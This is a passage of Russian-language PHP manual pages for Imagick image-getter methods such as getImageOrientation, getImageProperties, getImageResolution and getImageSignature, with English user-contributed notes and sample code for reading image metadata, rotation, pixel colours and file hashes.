$image = new Imagick('test.jpg');
echo $image->getImageLength() . ' байт';
?>

User Contributed Notes

seb dot gibbs at ymail dot com 24-Jan-2023 12:43
Quite often a jpeg image blob filesize will grow when reading back the image blob data!

eg.

$img = new Imagick();
$img->readImage($filename);

$sizeA = $img->getImageLength();
$blobdata = $img->getImageBlob();
$sizeB = $img->getImageLength();

Quite often sizeB will be greater than sizeA depending on the jpeg image being read


Возвращает, если изображение содержит матовый канал

  • « Imagick::getImageLength
  • Imagick::getImageMatteColor »
  • PHP Manual
  • Imagick
  • Возвращает, если изображение содержит матовый канал

Imagick::getImageMatte

(PECL imagick 2, PECL imagick 3)

Imagick::getImageMatte — Возвращает, если изображение содержит матовый канал

Внимание

Функция объявлена УСТАРЕВШЕЙ в Imagick 3.4.4. Полагаться на эту функцию крайне не рекомендуется.

Описание

public Imagick::getImageMatte(): bool

Возвращает true, если изображение содержит матовый канал, в противном случае возвращает false. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.2.9 или старше.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает матовый цвет изображения

  • « Imagick::getImageMatte
  • Imagick::getImageMimeType »
  • PHP Manual
  • Imagick
  • Возвращает матовый цвет изображения

Imagick::getImageMatteColor

(PECL imagick 2, PECL imagick 3)

Imagick::getImageMatteColor — Возвращает матовый цвет изображения

Внимание

Функция объявлена УСТАРЕВШЕЙ в Imagick 3.4.4. Полагаться на эту функцию крайне не рекомендуется.

Описание

public Imagick::getImageMatteColor(): ImagickPixel

Возвращает матовый цвет изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает объект ImagickPixel в случае успешного выполнения.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает MIME-тип изображения

  • « Imagick::getImageMatteColor
  • Imagick::getImageOrientation »
  • PHP Manual
  • Imagick
  • Возвращает MIME-тип изображения

Imagick::getImageMimeType

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::getImageMimeType — Возвращает MIME-тип изображения

Описание

public Imagick::getImageMimeType(): string

Возвращает MIME-тип изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает ориентацию изображения

  • « Imagick::getImageMimeType
  • Imagick::getImagePage »
  • PHP Manual
  • Imagick
  • Возвращает ориентацию изображения

Imagick::getImageOrientation

(PECL imagick 2, PECL imagick 3)

Imagick::getImageOrientation — Возвращает ориентацию изображения

Описание

public Imagick::getImageOrientation(): int

Возвращает ориентацию изображения. Возвращаемое значение - одна из констант ORIENTATION.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает целое число (int) в случае успешного выполнения.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

orrd101 at yahoo dot com 20-Feb-2013 09:23
Here's how you can use the getImageOrientation() information to auto-rotate images to their correct orientation...

<?php
// Note: $image is an Imagick object, not a filename! See example use below.
function autoRotateImage($image) {
    $orientation = $image->getImageOrientation();

    switch($orientation) {
        case imagick::ORIENTATION_BOTTOMRIGHT:
            $image->rotateimage("#000", 180); // rotate 180 degrees
        break;

        case imagick::ORIENTATION_RIGHTTOP:
            $image->rotateimage("#000", 90); // rotate 90 degrees CW
        break;

        case imagick::ORIENTATION_LEFTBOTTOM:
            $image->rotateimage("#000", -90); // rotate 90 degrees CCW
        break;
    }

    // Now that it's auto-rotated, make sure the EXIF data is correct in case the EXIF gets saved with the image!
    $image->setImageOrientation(imagick::ORIENTATION_TOPLEFT);
}
?>

Example use:

<?php
$image = new Imagick('my-image-file.jpg');
autoRotateImage($image);
// - Do other stuff to the image here -
$image->writeImage('result-image.jpg');
?>
holdoffhunger at gmail dot com 01-Jul-2012 02:54
Using the getImageOrientation function, you'll get the Orientation value for an image as defined within the EXIF file format.  That means you will get back an integer representation one of the Orientation constants for ImageMagick, which looks like " imagick::ORIENTATION_UNDEFINED", with "_VALUE" values of: undefined (0), topleft (1), topright (2), bottomright (3), bottomleft (4), lefttop (5), righttop (6), rightbottom (7), and leftbottom (8).  When printed out directly, these predefined constants produce the number in parenthesis.  The undefined being set to 0 makes sense, since -- according to Wikipedia -- EXIF allows for eight possible values for an image (and not every image has a set of EXIF properties).

The EXIF Orientation is also called "the Rotation," again, according to Wikipedia: http://en.wikipedia.org/wiki/Exchangeable_image_file_format .  What's the point of that?  According to the official ImageMagick documentation, it's to rotate a photograph so that it is properly oriented after the shot.  This really seems to be a camera thing, since the ImageMagick documentation mentions: "If you pointed your camera almost straight up or down, the EXIF orientation setting may not resolve correctly. The same goes for angled or slanted shots. The orientation (and cameras) just have no senses for these situations." ( http://www.imagemagick.org/Usage/photos/ )

If you're having trouble getting this function to show the value for Image Orientation, then use the function and parameters of getImageProperties('*', FALSE); .  This produces an array of all properties associated with an image, and one of them will have the key value of exif:Orientation.  If it doesn't, then that means you will be getting back a zero from this function, indicating an "Undefined" orientation.

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.jpg";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Orientation Values
        // ---------------------------------------------

    $imagick_orientation = $imagick_type->getImageOrientation();

    switch($imagick_orientation)
    {
        case '0':
            $imagick_orientation_evaluated = "Undefined";
            break;

        case '1':
            $imagick_orientation_evaluated = "Top-Left";
            break;

        case '2':
            $imagick_orientation_evaluated = "Top-Right";
            break;

        case '3':
            $imagick_orientation_evaluated = "Bottom-Right";
            break;

        case '4':
            $imagick_orientation_evaluated = "Bottom-Left";
            break;

        case '5':
            $imagick_orientation_evaluated = "Left-Top";
            break;

        case '6':
            $imagick_orientation_evaluated = "Right-Top";
            break;

        case '7':
            $imagick_orientation_evaluated = "Right-Bottom";
            break;

        case '8':
            $imagick_orientation_evaluated = "Left-Bottom";
            break;
    }

        // Print Orientation Values
        // ---------------------------------------------

    print("# $imagick_orientation - $imagick_orientation_evaluated");

?>


Возвращает геометрию страницы

  • « Imagick::getImageOrientation
  • Imagick::getImagePixelColor »
  • PHP Manual
  • Imagick
  • Возвращает геометрию страницы

Imagick::getImagePage

(PECL imagick 2, PECL imagick 3)

Imagick::getImagePage — Возвращает геометрию страницы

Описание

public Imagick::getImagePage(): array

Возвращает геометрию страницы, связанную с изображением, в массиве с ключами "width", "height", "x" и "y".

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает геометрию страницы, связанную с изображением, в массиве с ключами "width", "height", "x" и "y".

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

holdoffhunger at gmail dot com 28-May-2012 10:53
The PHP function 'getImagePage' will return values indicating the height and width of an image, just like the getHeight and getWidth, except these values are returned as an array.  There's also two other values returned in the array with the key values of 'x' and 'y'.  After running this function on animated .Gif's, super-compressed jpeg's, bmp's, png's, and every type of awkward file format you could think of, I kept getting back the result of '0' for both the 'x' and 'y' associated values in the returned array.  It's likely that these indicate the "start-positions" of the width and height, compared to the "end-values" you receive for accessing the values associated with the keys 'width' and 'height'.

Oddly enough, the PHP function 'getPage' will return an array with the same exact keys, except the values all default to '0', making it much less useful than the function 'getImagePage'.

And some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.gif";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Image Page
        // ---------------------------------------------

    $image_page = $imagick_type->getImagePage();

        // Print Iteration Value Interpreted
        // ---------------------------------------------

    print_r($image_page);

?>

Expected Result :

Array
(
    [width] => 600
    [height] => 450
    [x] => 0
    [y] => 0
)


Возвращает цвет указанного пикселя

  • « Imagick::getImagePage
  • Imagick::getImageProfile »
  • PHP Manual
  • Imagick
  • Возвращает цвет указанного пикселя

Imagick::getImagePixelColor

(PECL imagick 2, PECL imagick 3)

Imagick::getImagePixelColor — Возвращает цвет указанного пикселя

Описание

public Imagick::getImagePixelColor(int $x, int $y): ImagickPixel

Возвращает цвет указанного пикселя.

Список параметров

x

Координата x пикселя.

y

Координата y пикселя.

Возвращаемые значения

Возвращает экземпляр ImagickPixel для цвета в заданных координатах.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

sheldon at hyperlinked dot com 18-Jul-2012 11:57
I'm sure there are a lot of people like me who have been wondering, "How you manage to produce a human readable output of this operation?"

<?php
$image = new Imagick('testimage.jpg');

$x = 1;
$y = 1;
$pixel = $image->getImagePixelColor($x, $y);
?>

If you try to print an output of the $pixel object, you get nothing. You have to use one of the ImagickPixel operations to get back a value.

You can do either of the following:

<?php
$colors = $pixel->getColor();
print_r($colors); // produces Array([r]=>255,[g]=>255,[b]=>255,[a]=>1);

$pixel->getColorAsString(); // produces rgb(255,255,255);
?>

The place where I was getting hung up was how to get the data that was captured in the Imagick::getImagePixelColor operation into an ImagickPixel object. I was trying to find ways of passing the value to a newly instantiated ImagickPixel object. Well, it appears that once you've captured your color data using Imagick::getImagePixelColor, what's returned IS an ImagickPixel object!

As a further note, you do not need to convert this to a human readable format if you just want to take a color sample at a single point on your image to plug into another operation.

For example, if you wanted to perform a flood fill effect on a certain color you could plug in the instance of the ImagickPixel object directly.

The following fill perform a flood fill effect at coordinates 1,1 on your image using Green as the fill color and the color sampled at 1,1 as the target color to fill.

<?php
$hexcolor = '#00ff00';
$fuzz = '4000';
$x = 1;
$y = 1;
$pixel = $image->getImagePixelColor($x, $y);
$image->floodfillPaintImage($hexcolor, $fuzz, $pixel, $x, $y, false);
?>


Возвращает именованный профиль изображения

  • « Imagick::getImagePixelColor
  • Imagick::getImageProfiles »
  • PHP Manual
  • Imagick
  • Возвращает именованный профиль изображения

Imagick::getImageProfile

(PECL imagick 2, PECL imagick 3)

Imagick::getImageProfile — Возвращает именованный профиль изображения

Описание

public Imagick::getImageProfile(string $name): string

Возвращает именованный профиль изображения.

Список параметров

name

Имя возвращаемого профиля.

Возвращаемые значения

Возвращает строку, содержащую профиль изображения.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает профили изображений

  • « Imagick::getImageProfile
  • Imagick::getImageProperties »
  • PHP Manual
  • Imagick
  • Возвращает профили изображений

Imagick::getImageProfiles

(PECL imagick 2, PECL imagick 3)

Imagick::getImageProfiles — Возвращает профили изображений

Описание

public Imagick::getImageProfiles(string $pattern = "*", bool $include_values = true): array

Возвращает все связанные профили, соответствующие шаблону. Если в качестве второго параметра передаётся false, возвращаются только имена профилей. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.3.6 или старше.

Список параметров

pattern

Шаблон для имён профилей.

include_values

Определяет, следует ли возвращать только имена профилей. Если передано значение false то будут возвращены только имена профилей.

Возвращаемые значения

Возвращает массив, содержащий профили изображений или имена профилей.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает свойства изображения

  • « Imagick::getImageProfiles
  • Imagick::getImageProperty »
  • PHP Manual
  • Imagick
  • Возвращает свойства изображения

Imagick::getImageProperties

(PECL imagick 2, PECL imagick 3)

Imagick::getImageProperties — Возвращает свойства изображения

Описание

public Imagick::getImageProperties(string $pattern = "*", bool $include_values = true): array

Возвращает все свойства, удовлетворяющие шаблону. Если в качестве второго параметра передано false, то возвращаются только названия свойств. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.3.6 или старше.

Список параметров

pattern

Шаблон для поиска свойств.

include_values

Вернуть только имена свойств. Если передано false, то возвращаются только имена свойств.

Возвращаемые значения

Возвращает массив, содержащий свойства изображения или их имена.

Примеры

Пример #1 Использование Imagick::getImageProperties():

Пример извлечения EXIF-информации.

<?php

/* Создание объекта */
$im = new imagick("/path/to/example.jpg");

/* Получение EXIF-информации */
$exifArray = $im->getImageProperties("exif:*");

/* Цикл по EXIF-свойствам */
foreach ($exifArray as $name => $property)
{
echo "{$name} => {$property}<br />\n";
}

?>

User Contributed Notes

benkuhl at gmail dot com 24-Jan-2013 06:40
The output of this method on a PDF:

Array
        (
            [date:create] => 2013-01-24T13:27:37-05:00
            [date:modify] => 2013-01-24T13:27:37-05:00
            [pdf:HiResBoundingBox] => 1089x396+0+0
            [pdf:SpotColor-0] => PANTONE 697 C
            [pdf:SpotColor-1] => Black
            [pdf:SpotColor-10] => PANTONE 504 M C
            [pdf:SpotColor-2] => Strike_Thru
            [pdf:SpotColor-3] => PANTONE 7421 C
            [pdf:SpotColor-4] => PANTONE 697 C
            [pdf:SpotColor-5] => PANTONE 873 C
            [pdf:SpotColor-6] => PANTONE 504 M C
            [pdf:SpotColor-7] => Die
            [pdf:SpotColor-8] => PANTONE 697 C
            [pdf:SpotColor-9] => PANTONE 504 M C
            [pdf:Version] => PDF-1.5
            [signature] => 4d871b27b26537c523326f92454ecb2e19fa9e0e86e2a075f97354ad4f3bf122
        )
holdoffhunger at gmail dot com 19-May-2012 11:29
The getImageProperties function in PHP returns an array of property keys available for an image.  To get these property values, you use getImageProperty function, giving it one of the available keys provided by the getImageProperties function result.  For some images, you may have a lot of properties and for some, you may have few.  The two that almost every image seems to have are "date:create" and "date:modify", but some images may have forty or more properties, some titled "exif:Compression", "photoshop:Credit", "jpeg:colorspace", "rdf:Alt", "stRef:documentID", and "xap:CreatorTool."  PNG files will also have properties like "png:IHDR.bit_depth" and "png:IHDR.width,height."  So far, it appears generally that GIF and BMP files, being simpler, have fewer properties, whereas JPEG and PNG files, being more complicated, have much wider array of properties.  It seems incredibly useful in document management.

And now, some sample code and results :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.png";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Image Properties
        // ---------------------------------------------

    $imagick_type_properties = $imagick_type->getImageProperties('*', FALSE);

        // Print Image Properties
        // ---------------------------------------------

    print("<pre>");

    print_r($imagick_type_properties);

        // Print Each Individual, Image Property
        // ---------------------------------------------

    foreach($imagick_type_properties as $value)
    {
        print("$value --- ");
        print($imagick_type->getImageProperty("$value"));
        print("<br><br>");
    }

    print("</pre>");

?>

Results of this done on a standard PNG image :

Array
(
    [0] => date:create
    [1] => date:modify
    [2] => png:cHRM
    [3] => png:gAMA
    [4] => png:IHDR.bit_depth
    [5] => png:IHDR.color_type
    [6] => png:IHDR.interlace_method
    [7] => png:IHDR.width,height
    [8] => png:sRGB
)
date:create --- 2012-05-19T18:26:45-05:00

date:modify --- 2012-05-19T18:26:45-05:00

png:cHRM                  --- chunk was found (see Chromaticity, above)

png:gAMA                  --- gamma=0.45455 (See Gamma, above)

png:IHDR.bit_depth        --- 8

png:IHDR.color_type       --- 2

png:IHDR.interlace_method --- 0

png:IHDR.width,height     --- 320, 320

png:sRGB                  --- intent=0 (See Rendering intent)
www dot query at gmail dot com 08-Sep-2011 11:58
To access a photograph's EXIF data an alternative method is the normal PHP Exif function.

<?php

        $exif_data = exif_read_data($pic1);
        $edate = $exif_data['DateTime'];

?>

See: http://php.net/manual/en/book.exif.php
mhufford 03-Aug-2009 02:03
ImageMagick only supports setting a very small number of EXIF properties.

See http://www.imagemagick.org/discourse-server/viewtopic.php?t=14234


Возвращает именованное свойство изображения

  • « Imagick::getImageProperties
  • Imagick::getImageRedPrimary »
  • PHP Manual
  • Imagick
  • Возвращает именованное свойство изображения

Imagick::getImageProperty

(PECL imagick 2, PECL imagick 3)

Imagick::getImageProperty — Возвращает именованное свойство изображения

Описание

public Imagick::getImageProperty(string $name): string

Возвращает именованное свойство изображения. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.3.2 или старше.

Список параметров

name

Имя свойства (например, Exif:DateTime).

Возвращаемые значения

Возвращает строку, содержащую свойство изображения, или false, если свойство с заданным именем не существует.

Примеры

Пример #1 Пример использования Imagick::getImageProperty():

Задание и получение свойства изображения

<?php
$image = new Imagick();
$image->newImage(300, 200, "black");

$image->setImageProperty('Exif:Make', 'Imagick');
echo $image->getImageProperty('Exif:Make');
?>

Смотрите также

  • Imagick::setImageProperty() - Устанавливает свойство изображения

User Contributed Notes

Paul Janik 08-Sep-2011 12:00
To access a photograph's EXIF data, an alternative method is the normal PHP Exif function.

<?php

        $exif_data = exif_read_data($pic1);
        $edate = $exif_data['DateTime'];

?>

See: http://php.net/manual/en/book.exif.php


Возвращает красную первичную точку цветности

  • « Imagick::getImageProperty
  • Imagick::getImageRegion »
  • PHP Manual
  • Imagick
  • Возвращает красную первичную точку цветности

Imagick::getImageRedPrimary

(PECL imagick 2, PECL imagick 3)

Imagick::getImageRedPrimary — Возвращает красную первичную точку цветности

Описание

public Imagick::getImageRedPrimary(): array

Возвращает красную первичную точку цветности в виде массива с ключами "x" and "y".

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает красную первичную точку цветности в виде массива с ключами "x" and "y". Вызывает ImagickException в случае возникновения ошибки.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Извлекает область изображения

  • « Imagick::getImageRedPrimary
  • Imagick::getImageRenderingIntent »
  • PHP Manual
  • Imagick
  • Извлекает область изображения

Imagick::getImageRegion

(PECL imagick 2, PECL imagick 3)

Imagick::getImageRegion — Извлекает область изображения

Описание

public Imagick::getImageRegion(
int $width,
int $height,
int $x,
int $y
): Imagick

Извлекает область изображения и возвращает её в виде нового объекта Imagick.

Список параметров

width

Ширина извлечённой области.

height

Высота извлечённой области.

x

Координата X левого верхнего угла извлечённой области.

y

Координата Y левого верхнего угла извлечённой области.

Возвращаемые значения

Извлекает область изображения и возвращает её в виде новой палочки.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

zolcos at hotmail dot com 22-Jul-2009 02:45
getImageRegion has the same side effect that was mentioned for operations that change the crop of the image -- the new image preserves the old canvas and positioning info. For example, using annotateImage on the new image will interpret the positioning arguments relative to the old image. To correct it, reset this info with setImagePage.

<?php
$im->setImagePage(0, 0, 0, 0);
?>


Возвращает схему цветопередачи изображения

  • « Imagick::getImageRegion
  • Imagick::getImageResolution »
  • PHP Manual
  • Imagick
  • Возвращает схему цветопередачи изображения

Imagick::getImageRenderingIntent

(PECL imagick 2, PECL imagick 3)

Imagick::getImageRenderingIntent — Возвращает схему цветопередачи изображения

Описание

public Imagick::getImageRenderingIntent(): int

Возвращает схему цветопередачи изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает схему цветопередачи изображения.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

holdoffhunger at gmail dot com 02-Jul-2012 06:19
The Rendering Intent variable exists in ImageMagick to provide support for ICC Color Profiles.  There are five results that one can expect to get from the getRenderingIntent function, which are the predefined constants for Rendering Intent within ImageMagick.  These values look like "imagick::RENDERINGINTENT_UNDEFINED", with "_VALUE" values of: undefined, saturation, perceptual, absolute, and relative.  Printed out, Undefined is 0, Saturation is 1, Perceptual is 2, Absolute is 3, and Relative is 4.

The official ImageMagick documentation provides good light on what these values indicate. ( http://www.imagemagick.org/RMagick/doc/constants.html#RenderingIntent )  Undefined means "no intent," Saturation means "A rendering intent that specifies the saturation of the pixels in the image is preserved perhaps at the expense of accuracy in hue and lightness," Perceptual Intent means "A rendering intent that specifies the full gamut of the image is compressed or expanded to fill the gamut of the destination device. Gray balance is preserved but colorimetric accuracy might not be preserved," Absolute Intent means "Absolute colorimetric," and Relative Intent means "Relative colorimetric."

Every time I ran this function, it always produced the same result: #2, indicating Perceptual Intent.  But this makes sense, since the ImageMagick documentation notes about the Rendering Intent, "Typically, the user or application will set the rendering intent dynamically at runtime or embedding time."  The ImageMagick documentation also recommended the following link to better understand Rendering Intent in terms of Colorspace Profiles: http://www.cambridgeincolour.com/tutorials/color-space-conversion.htm .

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.jpg";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Rendering Intent Values
        // ---------------------------------------------

    $imagick_rendering_intent = $imagick_type->getImageRenderingIntent();

    switch($imagick_rendering_intent)
    {
        case '0':
            $image_rendering_intent_evaluated = "Undefined";
            break;

        case '1':
            $image_rendering_intent_evaluated = "Saturation";
            break;

        case '2':
            $image_rendering_intent_evaluated = "Perceptual";
            break;

        case '3':
            $image_rendering_intent_evaluated = "Absolute";
            break;

        case '4':
            $image_rendering_intent_evaluated = "Relative";
            break;
    }

        // Print Rendering Intent Values
        // ---------------------------------------------

    print("# $imagick_rendering_intent - $image_rendering_intent_evaluated");

?>


Возвращает разрешение изображения по X и Y

  • « Imagick::getImageRenderingIntent
  • Imagick::getImagesBlob »
  • PHP Manual
  • Imagick
  • Возвращает разрешение изображения по X и Y

Imagick::getImageResolution

(PECL imagick 2, PECL imagick 3)

Imagick::getImageResolution — Возвращает разрешение изображения по X и Y

Описание

public Imagick::getImageResolution(): array

Возвращает разрешение изображения X и Y.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает разрешение в виде массива.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

christian at cvj dot se 20-Feb-2014 11:48
For me getImageResolution() always returns X and Y resolution in pixels per centimeter, no matter if I set it with setImageUnits() or not.

So an easy way to convert the result from pixels per centimeter to pixels per inch is to do this:

<?php
$resource = new Imagick($path);
$imageResolution = $resource->getImageResolution();

if (!empty($imageResolution['y'])) {
$imageResolution['y'] =
                            round($imageResolution['y'] * 2.54, 2);
}

if (!empty($imageResolution['x'])) {
$imageResolution['x'] =
                            round($imageResolution['x'] * 2.54, 2);
}

?>
Alex 27-Sep-2013 10:00
Here is simple code snippet to get image DPI:
<?php
$img = new imagick( 'file.jpg' );
print_r($img->getImageResolution()); // Array ( [x] => 72 [y] => 72 )

?>
Simon Epskamp 20-Sep-2013 08:30
Please note that this method seems to return the image density, or DPI, not it's output resolution. If you want the output resolution, please refer to Imagick::getImageGeometry: http://www.php.net/manual/en/imagick.getimagegeometry.php

See http://www.imagemagick.org/Usage/basics/#density for more infomation on the difference.
Shawn Pyle 18-Apr-2011 12:53
As of the following versions, the results of this function returns the x and y resolution as floats.

desktop:~$ convert --version
Version: ImageMagick 6.6.9-1 2011-04-14 Q8 http://www.imagemagick.org
Copyright: Copyright (C) 1999-2011 ImageMagick Studio LLC
Features: OpenMP OpenCL

desktop:~$ pecl list
Installed packages, channel pecl.php.net:
==========================
Package Version State
imagick 3.0.1   stable

desktop:~$ php --version
PHP 5.3.5 (cli) (built: Mar  1 2011 12:57:53)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
    with Xdebug v2.1.0, Copyright (c) 2002-2010, by Derick Rethans
perching_eagle at yahoo dot com 04-Oct-2007 06:14
//location of image: c:/htdocs/rose.jpg
$path="c:/htdocs/";
$image=new Imagick($path."rose.jpg");
$array=$image->getImageResolution();
print_r($array);

result:
Array
(
    [x]=>75
    [y]=>75
)


Возвращает все последовательности изображений в виде большого двоичного объекта

  • « Imagick::getImageResolution
  • Imagick::getImageScene »
  • PHP Manual
  • Imagick
  • Возвращает все последовательности изображений в виде большого двоичного объекта

Imagick::getImagesBlob

(PECL imagick 2, PECL imagick 3)

Imagick::getImagesBlob — Возвращает все последовательности изображений в виде большого двоичного объекта

Описание

public Imagick::getImagesBlob(): string

Реализует форматы изображений напрямую в память. Метод возвращает все последовательности изображений в виде строки. Формат изображения определяет формат возвращаемого большого двоичного объекта (GIF, JPEG, PNG и т.д.). Чтобы вернуть другой формат изображения, используйте Imagick::setImageFormat().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку, содержащую изображения. В случае возникновения ошибки выбрасывает исключение ImagickException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает сцену изображения

  • « Imagick::getImagesBlob
  • Imagick::getImageSignature »
  • PHP Manual
  • Imagick
  • Возвращает сцену изображения

Imagick::getImageScene

(PECL imagick 2, PECL imagick 3)

Imagick::getImageScene — Возвращает сцену изображения

Описание

public Imagick::getImageScene(): int

Возвращает сцену изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает сцену изображения.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Генерирует хеш SHA-256

  • « Imagick::getImageScene
  • Imagick::getImageSize »
  • PHP Manual
  • Imagick
  • Генерирует хеш SHA-256

Imagick::getImageSignature

(PECL imagick 2, PECL imagick 3)

Imagick::getImageSignature — Генерирует хеш SHA-256

Описание

public Imagick::getImageSignature(): string

Генерирует хеш SHA-256 для потока пикселей изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку, содержащую SHA-256 хеш файла.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

barrerasalom at gmail dot com 15-Oct-2013 02:15
Please take that note tha different versions of ImageMagick could create different signatures, even when working with the same image.
vojtech at kral dot hk 27-Mar-2013 12:39
Well the SHA-2 digest returned by this function IS different from what you get when you hash the file, because this funtions hashesh the pixels themselves.

This is very useful when you need to identify identical images, because if you just hash the files, you may get different hashes even if the image is the same pixel by pixel because of differences in metadata or different format (ie PNG vs BMP) or perhaps stray bytes at the end of file etc...

There is no point in posting code that hashes files, that is completely irrelevant here.

Also, I doubt you really need to pick a different hashing algo, SHA-2 should be perfectly fine for this job.
holdoffhunger at gmail dot com 26-Jun-2012 11:51
The getImageSignature function for the ImageMagick package in PHP returns only the SHA-1 hash value for an image.  There are not any other algorithms available for it within the ImageMagick package, but fortunately, this is PHP and you have a wide array of hashing algorithms to use on any image file.  The function hash_algos() will return an array of hashing algorithms available in PHP and the function hash_file() will take three parameters (one for the algorithm to use, one for the filename, and an optional variable for binary output).  Instead of being limited to the SHA-1 algorithm of the getImageSignature function, you could use SHA-256, SHA-384, SHA-512, Whirlpool, HAVAL, Salsa, Gost, Adler32, CRC32, or MD5, among others and variations of these.

However, the SHA-1 result of the hash_file() function performed on a file does not return the same result as the SHA-1 of the getImageSignature() function.  This leads me to believe that the SHA-1 of the getImageSignature() might be performed on the Imagick object itself, instead of the file, whereas the hash_file() function is clearly performed on the file itself.  That's just a guess, though.

Some sample code for the alternate hashing algorithm, with every algorithm performed on the image file :

<?php

            // Author: holdoffhunger@gmail.com

        // Set File for Hashing Function
        // ---------------------------------------------------

    $filename_with_folder_for_hashing = "image_workshop/test_file.bmp";

        // Acquire Dynamic Hashing Algorithm List
        // ---------------------------------------------------

    $php_dynamic_hash_algorithms = hash_algos();

        // Count Dynamic Hashing Algorithm List
        // ---------------------------------------------------

    $number_of_dynamic_hash_algorithms = count($php_dynamic_hash_algorithms);

        // Parse Dynamic Hashing Algorithm List
        // ---------------------------------------------------

    for($i = 0; $i < $number_of_dynamic_hash_algorithms; $i++)
    {
            // Get Current Hashing Algorithm
            // ---------------------------------------------------

        $current_hashing_algorithm = $php_dynamic_hash_algorithms[$i];

            // Perform Hashing on File
            // ---------------------------------------------------

        $current_hashing_algorithm_hex_result = hash_file($current_hashing_algorithm, $filename_with_folder_for_hashing, FALSE);

            // Print Hashed Results
            // ---------------------------------------------------

        print("$current_hashing_algorithm Algorithm ::: $current_hashing_algorithm_hex_result");
        print("<br><br>");
    }

?>

    Example Results:
    ...........................

md2 Algorithm ::: 03205df9c6717d74f1f003c66f58e98a

md4 Algorithm ::: b2a204a2e5c3968d2abd5dc372fbee10

md5 Algorithm ::: b9d92a61714b221d24c7730d4764ca82

sha1 Algorithm ::: 8db4c92346c26568b13ea43fbcf514e37942a41a

(and so on for 34 more algorithms)...
holdoffhunger at gmail dot com 20-May-2012 10:30
The getImageSignature function returns the SHA-256 hash value, which is 256 bits (or 32 bytes) in length.  SHA-256 is part of the SHA-2 set of cryptographic hash functions designed by the NSA, which also includes SHA-224, SHA-384, and SHA-512.  According to Wikipedia, there are some security flaws in it similar to the set of SHA-1 hash functions, which should be fixed with SHA-3, eventually.  Unlike MD5 or the SHA-1 set of cryptographic functions, SHA-2 has had no collisions discovered yet (a collision is an incident where two different pieces of data result in the same hash value from the hashing function).  For the time being, it seems to be the most efficient method for creating a small (32-byte), uniquely-identifiable, generally-secure value for either a file or a piece of data.

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.bmp";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Image SHA-256 Signature / Hash Value
        // ---------------------------------------------

    $imagick_type_signature = $imagick_type->getImageSignature();

        // Print Image Signature / Hash Value
        // ---------------------------------------------

    print($imagick_type_signature);

?>

Results of this done on a standard BMP image :

cb2f387a7b23d11340ad1f5ba9c765125ea6b2d50a0d25412abe1ce568adac68


Возвращает размер изображения в байтах

